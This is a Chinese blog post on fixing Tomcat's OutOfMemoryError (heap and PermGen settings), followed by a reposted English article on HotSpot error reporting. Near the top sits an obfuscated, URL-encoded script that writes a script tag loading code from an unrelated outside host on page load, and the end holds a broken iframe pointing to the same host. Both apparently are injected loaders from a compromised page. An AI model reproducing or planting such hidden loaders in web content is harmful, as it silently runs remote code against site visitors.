Tomcat运行期间[Java] java.lang.OutOfMemoryError 的解決方法

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

Tomcat运行期间[Java] java.lang.OutOfMemoryError 的解決方法

错误信息如下：
HTTP Status 500 -
--------------------------------------------------------------------------------
 
type Exception report
 
message
description The server encountered an internal error () that prevented it from fulfilling
this
request.
 
exception
javax.servlet.ServletException: Servlet execution threw an exception
 
root cause
java.lang.OutOfMemoryError: Java heap space
 
解决方法：
如果是 windows, tomcat 本身提供的工具(Configure Tomcat)就可以设置了 。
设置附图中红色框指示的位置就好了。
如果是unix/linux,可以
export JAVA_OPTS=
"-Xms256m -Xmx512m"

当然那，具体size 应该根据计算机内存的大小来定。
全友论坛--上传图片





































另外一种错误信息是：
type
Exception report
message

description

The server encountered an internal error () that prevented it from fulfilling this request.
exception

javax.servlet.ServletException: Servlet execution threw an exception
 
root cause

java.lang.OutOfMemoryError:
PermGen space

PermGen space,全称是Permanent Generation space,
就是说是永久保存的区域,用于存放Class和Meta信息,Class在被Load的时候被放入该区域
从字面看,和存放Instance的Heap区域不同,
GC(Garbage Collection)应该不会对PermGen space进行清理
所以如果你的APP会LOAD很多CLASS的话,就很可能出现PermGen space错误
解决方法
： to increase the value specified with
-XX:MaxPermSize
.
下面转一篇不错的文章
OutOfMemoryError looks a bit better!

OutOfMemoryError
has always been a confusing error. For a long time the HotSpot Virtual Machine threw this error without a
detail message
or stack trace so typically the thread throwing the error would terminate with this:
Exception in thread "main" java.lang.OutOfMemoryError
That was confusing. Is my java heap full or does it mean something else? Those familiar with the heap layout that the HotSpot VM uses will know that the "something else" might mean the "permanent generation". This is place where reflective data such as class and method objects are allocated. It is also the place where interned strings are stored. If you've got an application that loads a huge number of classes or interns millions of strings then it's possible that the OutOfMemoryError is because the permanent generation is full rather than the java heap.
In 5.0 the error is less confusing as there is a detail message. This means you will see something like this:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
or:
Exception in thread "main" java.lang.OutOfMemoryError: PermGen full
In Mustang, there has been further changes to the way that OutOfMemoryError is reported. One obvious one is that the HotSpot VM will attempt to include a stack trace. This means you should see something like this:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space at ConsumeHeap$BigObject.
(ConsumeHeap.java:22) at ConsumeHeap.main(ConsumeHeap.java:47)
In this example we see the stack trace where the allocation failed. If the OutOfMemoryError is because the perm gen it full then you might see
String.intern
or
ClassLoader.defineClass
near the top of the stack.
Is a stack trace useful? In some limited cases it can be. For example, suppose you've got a thread looping and in the loop it is allocating objects and putting them into a collection. In that case the stack trace might direct you to a good starting place. More generally, the stack trace is not likely to be useful. If you've got a busy application and the heap is nearly full, then OutOfMemoryError will be likely be thrown in some random place by some random mutator.
One useful improvement is the -XX:+HeapDumpOnOutOfMemoryError option which tells the HotSpot VM to generate a heap dump when an allocation from the java heap or the permanent generation cannot be satisfied. There isn't any overhead to running with this option so it should be useful for production systems where OutOfMemoryError takes weeks (or longer) to surface. The heap dump is in HPROF binary format so it can be analyzed using any tools that can import this format. If you read
Sundar's blog
then you'll know that Mustang includes a useful tool called jhat which can be used to do rudimentary analysis of the dump. jhat supports
Object Query Language
so you can easily create your own queries and mine the heap dump.
The next improvement is visible when the system is almost out of swap space and an allocation from the native heap fails in the VM. In that case the VM aborts and you get a one-line error such as the following:
Exception java.lang.OutOfMemoryError: requested 16 bytes for CHeapObj-new. Out of swap space?
This message has been known to confuse a lot of developers. At first glance it might it might look like that the java heap is full. Of course if you increase the size of the heap with the -mx option it might make the problem worse as the larger java heap means there is less native memory available.
In Mustang this condition will trigger the VM to invoke the fatal error handling mechanism. This means you should get a fatal error log as you would get with a normal (abnormal?) crash. The fatal error log is named hs_err_<pid>.log and contains useful information about the thread, process, and system at the time of the crash. In the case of native heap exhaustion then the heap memory and memory map information in the log can be useful. The exact format is version and platform specific and you will get more information in the
J2SE Troubleshooting Guide
.
Hopefully, developers will find these improvements useful. It should make OutOfMemoryError a little less confusing and it means the error is no longer a one-line wonder.
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">